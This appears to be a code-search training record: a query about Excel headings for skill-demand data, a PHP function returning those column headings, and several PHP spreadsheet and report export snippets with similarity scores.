$this->objWorksheet->getColumnDimensionByColumn($colIndex)->setWidth(pixel2unit($config['header'][$k]['width']));\n if(isset($config['header'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['header'][$k]['align']);\n }\n\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_headerStyleArray);\n }\n\n //add header row to load collection\n $loadCollection[]=array('id'=>$headerId,'data'=>$data['header']);\n\n //move to next row for data\n $nextRow++;\n }\n\n\n //form the data repeating row\n $dataId='DATA_'.$id;\n $colIndex=-1;\n\n //form the template row\n if(count($data['data'])>0)\n {\n //we just need first row of data, to see array keys\n $singleDataRow=$data['data'][0];\n foreach($singleDataRow as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$dataId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['data'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['data'][$k]['align']);\n }\n }\n\n //add this row to collection for load but with repeating\n $loadCollection[]=array('id'=>$dataId,'data'=>$data['data'],'repeat'=>true,'format'=>$format);\n $this->enableStripRows();\n\n //form the footer row for data if needed\n if(isset($data['footer']))\n {\n $footerId='FOOTER_'.$id;\n $colIndex=-1;\n $nextRow++;\n\n //formiraj template\n foreach($data['footer'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$footerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['footer'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['footer'][$k]['align']);\n }\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_footerStyleArray);\n }\n\n //add footer row to load collection\n $loadCollection[]=array('id'=>$footerId,'data'=>$data['footer'],'format'=>$format);\n }\n\n $this->load($loadCollection);\n $this->generateReport();\n }\n }", "private function _generateBlankRow(){\n\n $blankRow = array();\n foreach ($this->_fileHeader as $value){\n\n $blankRow[strtolower(str_replace(' ', '-', $value))] = '';\n }\n\n return $blankRow;\n }", "public function export_excel(){\n // Load plugin PHPExcel nya\n include APPPATH.'third_party/PHPExcel/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('SIMITA')\n ->setLastModifiedBy('SIMITA')\n ->setTitle(\"Data Koneksi Internet\")\n ->setSubject(\"Koneksi Internet\")\n ->setDescription(\"Laporan Data Koneksi Internet\")\n ->setKeywords(\"Laporan\");\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"LAPORAN DATA INVENTORY INTERNET CABANG\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->getActiveSheet()->mergeCells('A1:G1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 \n $excel->setActiveSheetIndex(0)->setCellValue('B3', \"CABANG\"); // Set kolom B3 \n $excel->setActiveSheetIndex(0)->setCellValue('C3', \"PROVIDER\"); // Set kolom C3 \n $excel->setActiveSheetIndex(0)->setCellValue('D3', \"NO.PELANGGAN\"); // Set kolom D3 \n $excel->setActiveSheetIndex(0)->setCellValue('E3', \"IP PUBLIC\"); // Set kolom E3 \n $excel->setActiveSheetIndex(0)->setCellValue('F3', \"Tgl. Kontrak\");\n $excel->setActiveSheetIndex(0)->setCellValue('G3', \"Tgl. Habis Kontrak\");\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n $internet = $this->m_internet->semua()->result();\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($internet as $data){ // Lakukan looping pada variabel\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->nama_cabang);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->nama_provider);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nomor_pelanggan);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->ip_public);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->tanggal_kontrak);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->masa_kontrak);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(30); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(25); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(20); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(25); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Siswa\");\n $excel->setActiveSheetIndex(0);\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Laporan Koneksi Internet.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "public function export_excel()\n\t{\n\t$data = array(\n array ('Name', 'Surname'),\n array('Schwarz', 'Oliver'),\n array('Test', 'Peter')\n );\n\t\t\n\t\t//$data = $this->db->get('test')->result_array();\n\t\t$this->load->library('Excel-Generation/excel_xml');\n\t\t$this->excel_xml->addArray($data);\n\t\t$this->excel_xml->generateXML('my-test');\n\t}", "public function getHeading(): string;", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "public function pi_list_header() {}", "public function action_list_approval_department(){\n\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['事業本部コード','事業本部','事業部コード','事業部','部門コード','部門', '適用開始日', '適用終了日','第1 承認者','第2 承認者','第3 承認者','第4 承認者','第5 承認者','第6 承認者','第7 承認者','第8 承認者','第9 承認者'];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n case 3:\n case 5:\n $width = 10;\n break;\n case 2:\n $width = 18;\n break;\n case 4:\n case 6:\n $width = 30;\n break;\n default:\n $width = 20;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAD.*',\n \\DB::expr('BUS.code AS business_code'), \\DB::expr('BUS.name AS business_name'), \n \\DB::expr('DIV.code AS division_code'),\\DB::expr('DIV.name AS division_name'),\n \\DB::expr('DEP.name AS department_name'), \\DB::expr('DEP.code AS department_code'), \\DB::expr('DEP.sub_code AS department_sub_code'))\n ->from(['m_approval_department', 'MAD'])\n ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MAD.m_department_id')->on('DEP.level', '=', \\DB::expr(3))\n ->join(['m_department', 'DIV'], 'left')->on('DIV.id', '=', 'DEP.parent')->on('DIV.level', '=', \\DB::expr(2))\n ->join(['m_department', 'BUS'], 'left')->on('BUS.id', '=', 'DIV.parent')->on('BUS.level', '=', \\DB::expr(1))\n ->where('MAD.item_status', '=', 'active')\n ->where('DEP.allow_export_routes', '=', 1)\n\n ->and_where('DEP.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('DEP.enable_start_date'), \\DB::expr('DEP.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('DEP.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('DEP.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n \n ->and_where('MAD.item_status', '=', 'active')\n ->and_where_open()\n ->and_where(\\DB::expr(\"'{$export_date}'\"), 'BETWEEN', [\\DB::expr('MAD.enable_start_date'), \\DB::expr('MAD.enable_end_date')])\n ->or_where_open()\n ->and_where(\\DB::expr('MAD.enable_start_date'), '<=', $export_date)\n ->and_where(\\DB::expr('MAD.enable_end_date'), 'IS', \\DB::expr('NULL'))\n ->or_where_close()\n ->and_where_close()\n\n ->group_by('MAD.m_department_id', 'MAD.enable_start_date')\n ;\n $items = $query->execute()->as_array();\n \n \n //set content\n $i = 0;\n foreach($items as $item){\n $row = $i+2;\n // \\Vision_Common::system_format_date(strtotime($user['entry_date'])):null)\n $objPHPExcel->setActiveSheetIndex()->setCellValue('A'.$row,$item['business_code'])\n ->setCellValue('B'.$row,$item['business_name'])\n ->setCellValue('C'.$row,$item['division_code'])\n ->setCellValue('D'.$row,$item['division_name'])\n ->setCellValue('E'.$row,$item['department_code'])\n ->setCellValue('F'.$row,$item['department_name'])\n ->setCellValue('G'.$row,$item['enable_start_date']?\\Vision_Common::system_format_date(strtotime($item['enable_start_date'])):null)\n ->setCellValue('H'.$row,$item['enable_end_date']?\\Vision_Common::system_format_date(strtotime($item['enable_end_date'])):null)\n ;\n\n //Get user of routes\n $query = \\DB::select('MU.fullname')\n ->from(['m_user', 'MU'])\n ->join(['m_approval_department', 'MAD'], 'left')->on('MAD.m_user_id', '=', 'MU.id')\n ->where('MU.item_status', '=', 'active')\n ->and_where('MAD.item_status', '=', 'active')\n ->and_where('MAD.m_department_id', '=', $item['m_department_id'])\n ->and_where('MAD.enable_start_date', '=', $item['enable_start_date'])\n ->order_by('MAD.order', 'ASC')\n ;\n $users = $query->execute()->as_array(); \n if(!empty($users)){\n $col = 8;\n foreach ($users as $user) {\n $objPHPExcel->setActiveSheetIndex()->setCellValue(\\PHPExcel_Cell::stringFromColumnIndex($col).$row,$user['fullname']);\n $col++;\n }\n }\n\n $i++;\n }\n\n\n $format = ['alignment'=>array('horizontal'=> \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,'wrap'=>true)];\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:U1')->getFill()->getStartColor()->setRGB('25a9cb');\n\n header(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"決裁経路(組織)-'.$export_date.'.xls\"');\n $objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n exit; \n }", "public function start_sheet($columns) {\n echo \"<table border=1 cellspacing=0 cellpadding=3>\";\n echo \\html_writer::start_tag('tr');\n foreach ($columns as $k => $v) {\n echo \\html_writer::tag('th', $v);\n }\n echo \\html_writer::end_tag('tr');\n }", "protected function _translateToExcel()\n\t{\n\t\t// Build the header row\n\t\t$strHeaderRow = \"\";\n\t\tforeach ($this->_arrSelectedColumns as $column)\n\t\t{\n\t\t\t$strHeaderRow .= \"\\t\\t\\t\\t\\t<th>\". htmlspecialchars($this->_arrColumns[$column]) .\"</th>\\n\";\n\t\t}\n\t\t\n\t\t// Build the rows\n\t\t$strRows = \"\";\n\t\tforeach ($this->_arrReportData as $arrDetails)\n\t\t{\n\t\t\t$strRow = \"\";\n\t\t\tforeach ($this->_arrSelectedColumns as $column)\n\t\t\t{\n\t\t\t\t$strRow .= \"\\t\\t\\t\\t\\t<td>\". htmlspecialchars($arrDetails[$column]). \"</td>\\n\";\n\t\t\t}\n\t\t\t\n\t\t\t$strRows .= \"\\t\\t\\t\\t<tr>\\n$strRow\\t\\t\\t\\t</tr>\\n\";\n\t\t}\n\t\t\n\t\t$arrRenderMode\t= Sales_Report::getRenderModeDetails(Sales_Report::RENDER_MODE_EXCEL);\n\t\t$strMimeType\t= $arrRenderMode['MimeType'];\n\n\t\t// Put it all together\n\t\t$strReport = \"<html>\n\t<head>\n\t\t<meta http-equiv=\\\"content-type\\\" content=\\\"$strMimeType\\\">\n\t</head>\n\t<body>\n\t\t<table border=\\\"1\\\">\n\t\t\t<thead>\n\t\t\t\t<tr>\n$strHeaderRow\n\t\t\t\t</tr>\n\t\t\t</thead>\n\t\t\t<tbody>\n$strRows\n\t\t\t</tbody>\n\t\t</table>\n\t</body>\n</html>\";\n\n\t\treturn $strReport;\n\t}", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "public function headings(): array\n {\n return [\n 'id',\n 'name',\n 'email',\n 'active',\n 'roles', /*,\n 'email_verified_at',\n 'password',\n 'remember_token',*/\n ];\n }", "function getColumnHeaders(){\n\t\t$columnHeaders = array();\n\n\t\t//fixed headers\n\t\t$columnHeaders[0] = 'User';\n\t\t$columnHeaders[1] = 'Action';\n\n\t\t//two headers were added, offsett to make up for it\n\t\t$count = 2;\n\t\tforeach ($this->schedule as $date => $times) {\n\n\t\t\t//convert the full date to a more readable version\n\t\t\t$converter = strtotime($date); \n\t\t\t$formattedDate =date('l', $converter);\n\t\t\t$formattedDate = $formattedDate.'</br>'.date('m-d-y', $converter);\n\n\t\t\tforeach($times as $time){// #2dimensionlswag\n\n\t\t\t\t//convert the international time to AM/PM\n\t\t\t\t$converter = strtotime($time); \n\t\t\t\t$formattedTime = date(\"g:i A\", $converter);\n\n\t\t\t\t$columnHeaders[$count] = $formattedDate.'</br>'.$formattedTime;\n\t\t\t\t$count++;\n\t\t\t}\n\t\t}\n\t\treturn $columnHeaders;\n\t}", "public function test()\n {\n\t\t$data = Session::get('exdata');\n $title = ['id', 'name', 'sex'];\n\n\n $spreadsheet = new Spreadsheet();\n $worksheet = $spreadsheet->getActiveSheet();\n //设置工作表标题名称\n $worksheet->setTitle('测试Excel');\n\n //表头\n //设置单元格内容\n foreach ($title as $key => $value) {\n $worksheet->setCellValueByColumnAndRow($key + 1, 1, $value);\n }\n\t\tLog::write($data, 'exdataT');\n $row = 2; //第二行开始\n foreach ($data as $item) {\n $column = 1;\n foreach ($item as $value) {\n $worksheet->setCellValueByColumnAndRow($column, $row, $value);\n $column++;\n }\n $row++;\n }\n\n # 保存为xlsx\n $filename = '测试Excel.xlsx';\n $writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n $writer->save($filename);\n \n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"');\n header('Cache-Control: max-age=0');\n $writer->save('php://output');\n\n }", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "function rallies_table_row_header($hdrs)\r\n{\r\n global $MYKEYWORDS;\r\n\r\n\t$OK = ($_SESSION['ACCESSLEVEL'] >= $GLOBALS['ACCESSLEVEL_READONLY']);\r\n\r\n\t$res = '';\r\n\t$hdrcols = explode(';',$hdrs);\r\n\tforeach ($hdrcols as $col)\r\n\t\t$res .= \"<th>\".$col.\"</th>\";\r\n\r\n return $res;\r\n}" ]
[ "0.79347867", "0.7432069", "0.7123064", "0.7062079", "0.7059541", "0.6970416", "0.6887191", "0.68659824", "0.6826605", "0.6758486", "0.674641", "0.67447937", "0.661698", "0.6524816", "0.64108217", "0.63882214", "0.6353121", "0.6305659", "0.6231868", "0.62266517", "0.62197703", "0.6201532", "0.62007433", "0.6182717", "0.6180235", "0.6178359", "0.6173967", "0.6168367", "0.61613476", "0.61540115", "0.61253315", "0.61118007", "0.6089118", "0.60498184", "0.60240024", "0.60135144", "0.59702045", "0.5964321", "0.59583336", "0.5942882", "0.5942664", "0.59331506", "0.5932957", "0.59117705", "0.59087306", "0.5907607", "0.59010947", "0.5884278", "0.5861878", "0.5850039", "0.5822055", "0.58186173", "0.57966614", "0.57953626", "0.5784897", "0.5779302", "0.5774795", "0.5736294", "0.5729475", "0.5725191", "0.5720866", "0.57186806", "0.56918865", "0.568801", "0.56875044", "0.56816524", "0.5681245", "0.5680447", "0.56707734", "0.56614447", "0.56550956", "0.5649323", "0.5643569", "0.5642345", "0.56387407", "0.56295466", "0.56274456", "0.56182563", "0.5618086", "0.5612334", "0.55992544", "0.5597838", "0.55931777", "0.5589507", "0.5588926", "0.5584845", "0.55842316", "0.5567083", "0.55632627", "0.55604047", "0.55563325", "0.55521214", "0.5550908", "0.5549005", "0.5547683", "0.5542054", "0.5524112", "0.55224115", "0.5503159", "0.5501327" ]
0.71568346
2
Skill Demand data excel headings
public static function excelSkillDemandHeadings() { return [ 'Occupation/Job Title', 'Region', 'Industry', 'Type', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 